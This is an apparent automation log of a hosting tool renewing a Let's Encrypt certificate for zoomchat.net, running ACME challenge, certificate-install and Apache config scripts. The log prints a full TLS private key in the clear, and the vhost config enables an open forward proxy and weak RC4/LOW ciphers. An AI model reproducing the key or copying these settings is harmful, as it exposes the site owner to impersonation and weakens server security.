Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-13 06:00:32: Establishing a connection
2025-12-13 06:00:33: Establishing a connection
2025-12-13 06:00:34:
PUT: /tmp/pkp825744
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-13 06:00:35:
chmod 755 /tmp/pkp825744; /tmp/pkp825744; rm /tmp/pkp825744
2025-12-13 06:00:35:
0
2025-12-14 06:00:02: Establishing a connection
2025-12-14 06:00:03: Establishing a connection
2025-12-14 06:00:05:
PUT: /tmp/pkp769078
#!/bin/bash
if [ -d "/var/www/zoomchat_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-14 06:00:06:
chmod 755 /tmp/pkp769078; /tmp/pkp769078; rm /tmp/pkp769078
2025-12-14 06:00:06:
1
2025-12-14 06:00:07: Establishing a connection
2025-12-14 06:00:09:
PUT: /tmp/pkp170413
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
cat > 7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw
2025-12-14 06:00:10:
chmod 755 /tmp/pkp170413; /tmp/pkp170413; rm /tmp/pkp170413
2025-12-14 06:00:10:
2025-12-14 06:00:20: Establishing a connection
2025-12-14 06:00:21:
PUT: /tmp/pkp179424
#!/bin/bash
mkdir -p "/var/www/zoomchat_www/.well-known/acme-challenge/"
cd "/var/www/zoomchat_www/.well-known/acme-challenge/"
rm 7hKKaJeKYrCrhYMXxH_hH_ySqxgfFj_RGEDlYS6vqJw
2025-12-14 06:00:22:
chmod 755 /tmp/pkp179424; /tmp/pkp179424; rm /tmp/pkp179424
2025-12-14 06:00:22:
2025-12-14 06:00:22: Establishing a connection
2025-12-14 06:00:24:
PUT: /tmp/pkp725157
#!/bin/bash
temp_file=$(mktemp)
TARGET=d7a3fc3cb644d42495f9e28d766d3339.crt
cat > $temp_file <<'endmsg'
60:9d:ef:d2:5b:3a:6b:90:74:33:46:51:48:f8:ef:54
-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBUmb2nydLaQDO0vc9V06bpcnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMTQ5WhcNMjYwMzE0MDUwMTQ4WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDP
lrOC9E4oNCY7OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4Ie
cYkceTaPyUC1COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbk
BlReBlYpy/hDjnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdX
pnsCEl+JM2Wjb4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/
PEOwiSl5U7y0+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3
S24rZroY9ukTfLO6IXCvAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBNIvwVj4VPAw0l+T3J0reOqmR3eMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvNDAuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAFoMtq/CpJQ8P
8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbG3ITbQAABAMARzBFAiEAtPOvCzy6
FYwUnDEZWZvTN8hiFLY9Eos+YBgcHGQ4iMoCIFoFUUCklpay5aXLeXAqIs7Kekvd
+jtdl8URoS1Fog6tAH0AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbG3IT+wAIAAAFAAQdHrEEAwBGMEQCIB55TuEEhMjf6Hm02UqMZlwLX/cb+w6m
0jFjMVj/nnfcAiByy4ZJubqqi3HGGR+CSgdY8JM3aHcOnbaEBMkEax2GWDANBgkq
hkiG9w0BAQsFAAOCAQEAGNtpr74XsyRxbz3EoaYZlLUYt4kMzERt3AC9gZC9zXjp
yfuFeQmolNp9zqrnF6MxZNt1S9L9xsWZWKTXYIfIK/M09O2yk+S7kgdyTk15J9wV
wz9LYyCtA/THBzWxUmmirCA54MiLsL2aC7x5p9d8NQgMR07fX3SsmZ3XkVz+C387
8txK7ZYtbEp29IB89jf5nhYHH4qRcRHcYNj0ymq5l5GznvBD35KB76yiEMigwFkc
h94bem3aq2Q2LSI0D3YpO7dhmlmIPnPdvrxkzX6sbwtwVxdJz16SaSM70KhftAkm
UU9VF+CCce3RhR26i7jhbDgTolwdkkEWoh2mTvOZ9g==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDPlrOC9E4oNCY7
OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4IecYkceTaPyUC1
COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbkBlReBlYpy/hD
jnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdXpnsCEl+JM2Wj
b4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/PEOwiSl5U7y0
+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3S24rZroY9ukT
fLO6IXCvAgMBAAECggEAGRIfTgKJaeuabm6miE/qMyPGnR1uaxZf4k0/IHmv2phP
BN5utHJm9g/XEoEuhCGj2l9l6s1s3IK20OZos6NT7vWbXhnK7xdwmjDPqdpT8MCk
kzbFBENQXhjaCgDbOeU4lDN7fvuO7m9W5XnQjkSZuhFPQkhuH4sZOZtAfoq4Jm7f
gTTix+zwnqFd6CVNbI6dVpXqVExFrjjVzip+JfoabJ8L4oxeDViWFEKxB6sbNep5
+XSTl3HujT1/0+WPFi1o+JndNhLJucbLoP4olyYTFXnLz63zZmrDYsLpSdZ1j0sZ
VXMTFUQBKkiGjC1smUFbcFmV/rt4IJD12XHvXNNzkQKBgQDzML5QI4CEPXAw0JUT
7d/qZjHmwjenZxIPxrZLf6E4Gw+l4v6uU7TemLsWyoVSRKpdN1HSMOFE+vQKTPju
W/lmY/Ht7tAr/kcuTP8svCmxEJI97ydHuMoJ2HLWVhT+JSyuoUn59LITA2rUCF5o
zVeLgAdQMf6M2meCaIZb4314iQKBgQDaheSPnIvjYVDjJyVb8A5Nyi6XFrnkIxV2
4pFzn31/I0h0LgNZ58neRIqsbXNvh8anmmvONxN8cP/GARQNTuuIoxD2otWe7AIx
dRVG6am7p0BMfEY34H+qxnq7l5uFPI8ryc2zrXgdPCyno4Dg004kLI0rlKQ2Cmtb
VZ1GYW7hdwKBgQDr+gthpeFp8Ffx9iQCT5ssTvfzC9iHJvuetVpkjjb5Q0D+3fH1
ZKIoMRmxttiBiMGrbCeIBwhAMCcn66LNYA/0a9zw3P/BAJ8/bVVaqkbmWscdM/fw
n33k6dQc6TC7n4To+vbWhbtZucIqduhtV3uwkI4IIkr3kGJKZ3Sgq3EvyQKBgEpQ
3ro4cxqRLgESfxIVQcgSymV3xSBhDhuwUecQho2GYk2gmGMrAOwmQ0MAthFoC5dU
XPV0pZvckh+0ni0oedGuI0a9egjiGpzXRLUpIiA/cQ6R9Q9ruf9KINNLbAiT39z0
dJB2njLTFByu7lWHhzumKxx3IKGASaJ2K1aULDFhAoGBAKdKqlRy4qK2jRSArsPE
BNnDWZv209ydxi9A+kyejl423AagR7yIJrGoYqVe/A8xXnT40cAA/y1N8mJgN6N6
mrMI0FAKXnQ9VzAgka1I8ry0KMnJbQt9J7Jz/nbTo5Dmrxh5llbrUdisAxyQOGg6
eQeZcacO7NVObqkYPnLw+jcK
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-14 06:00:25:
chmod 755 /tmp/pkp725157; /tmp/pkp725157; rm /tmp/pkp725157
2025-12-14 06:00:25:
dir=/etc/pki/tls/certs/
2025-12-14 06:00:25:
PUT: /tmp/pkp675451
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/httpd/conf.d/zoomchat_www_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-14 06:00:25:
chmod 755 /tmp/pkp675451; /tmp/pkp675451; rm /tmp/pkp675451
2025-12-14 06:00:26:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2272
<VirtualHost *:80>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://zoomchat.online/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:00:26:
PUT: /tmp/pkp736190
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=zoomchat_www_net.conf
TARGET=/etc/httpd/conf.d/zoomchat_www_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://zoomchat.online/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/httpd/conf.d/zoomchat_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/httpd/sites-enabled/zoomchat_www_net.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf'
echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_net.conf= 1'
fi
2025-12-14 06:00:26:
chmod 755 /tmp/pkp736190; /tmp/pkp736190; rm /tmp/pkp736190
2025-12-14 06:00:26:
2025-12-14 06:00:26:
PUT: /tmp/pkp159830
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-14 06:00:27:
chmod 755 /tmp/pkp159830; /tmp/pkp159830; rm /tmp/pkp159830
2025-12-14 06:00:27:
.
2025-12-14 06:00:27: Establishing a connection
2025-12-14 06:00:28:
PUT: /tmp/pkp988340
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-14 06:00:29:
chmod 755 /tmp/pkp988340; /tmp/pkp988340; rm /tmp/pkp988340
2025-12-14 06:00:30:
[Sun Dec 14 06:00:30.136547 2025] [so:warn] [pid 1483675:tid 139733223352640] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
alias www.zoomchat.online
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:30)
alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Sun Dec 14 06:00:30.136547 2025] [so:warn] [pid 1483675:tid 139733223352640] AH01574: module status_module is already loaded, skipping
2025-12-14 06:00:30:
PUT: /tmp/pkp477009
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/zoomchat_www_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:00:30:
chmod 755 /tmp/pkp477009; /tmp/pkp477009; rm /tmp/pkp477009
2025-12-14 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_net.conf 2271
<VirtualHost *:80>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://zoomchat.online/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt
DocumentRoot /var/www/zoomchat_www/public
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
ProxyRequests On
RewriteEngine On
<Location /ws/>
ProxyPass ws://localhost:9512/
ProxyPassReverse ws://localhost:9512/
</Location>
<Location /wsx/>
ProxyPass http://localhost:9512/
ProxyPassReverse http://localhost:9512/
</Location>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
DirectoryIndex index.html index.htm index.php
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-12-14 06:00:31:
PUT: /tmp/pkp448929
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-14 06:00:31:
chmod 755 /tmp/pkp448929; /tmp/pkp448929; rm /tmp/pkp448929
2025-12-14 06:00:31:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//d7a3fc3cb644d42495f9e28d766d3339.crt 5352
60:9d:ef:d2:5b:3a:6b:90:74:33:46:51:48:f8:ef:54
-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBUmb2nydLaQDO0vc9V06bpcnMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjE0MDUwMTQ5WhcNMjYwMzE0MDUwMTQ4WjAXMRUwEwYDVQQD
Ewx6b29tY2hhdC5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDP
lrOC9E4oNCY7OU/Sqy3ddMjylC760X0o0mjI0NI+K3UW+oUnqCKv+bKECPW5j4Ie
cYkceTaPyUC1COGyDYF7Hg7Nzs5yHtiPpsqfQoYyR+kYl6JuTXN66bg5iTWNlSbk
BlReBlYpy/hDjnmM1E22B//bgZ04vOlqIovY50eMksQLlVJWb/nlhYz7W4bb1FdX
pnsCEl+JM2Wjb4oX2c3wmvCvkI7F0TIKWiYB/pt42vkb01SobxRCZHgE/7i9cXi/
PEOwiSl5U7y0+U1MUfXnwHhKTNV7qpnK5IPyqYoywoEBgPEUupWfanzTfgXjufz3
S24rZroY9ukTfLO6IXCvAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFBNIvwVj4VPAw0l+T3J0reOqmR3eMB8GA1UdIwQYMBaAFOernw8sM6BT015P
eMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
My5pLmxlbmNyLm9yZy8wFwYDVR0RBBAwDoIMem9vbWNoYXQubmV0MBMGA1UdIAQM
MAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5j
ci5vcmcvNDAuY3JsMIIBCwYKKwYBBAHWeQIEAgSB/ASB+QD3AHYAFoMtq/CpJQ8P
8DqlRf/Iv8gj0IdL9gQpJ/jnHzMT9foAAAGbG3ITbQAABAMARzBFAiEAtPOvCzy6
FYwUnDEZWZvTN8hiFLY9Eos+YBgcHGQ4iMoCIFoFUUCklpay5aXLeXAqIs7Kekvd
+jtdl8URoS1Fog6tAH0AcX6V88I4im2x44RJPTHhWqliCHYtQgDgBQzQZ7WmYeIA
AAGbG3IT+wAIAAAFAAQdHrEEAwBGMEQCIB55TuEEhMjf6Hm02UqMZlwLX/cb+w6m
0jFjMVj/nnfcAiByy4ZJubqqi3HGGR+CSgdY8JM3aHcOnbaEBMkEax2GWDANBgkq
hkiG9w0BAQsFAAOCAQEAGNtpr74XsyRxbz3EoaYZlLUYt4kMzERt3AC9gZC9zXjp
yfuFeQmolNp9zqrnF6MxZNt1S9L9xsWZWKTXYIfIK/M09O2yk+S7kgdyTk15J9wV
wz9LYyCtA/THBzWxUmmirCA54MiLsL2aC7x5p9d8NQgMR07fX3SsmZ3XkVz+C387
8txK7ZYtbEp29IB89jf5nhYHH4qRcRHcYNj0ymq5l5GznvBD35KB76yiEMigwFkc
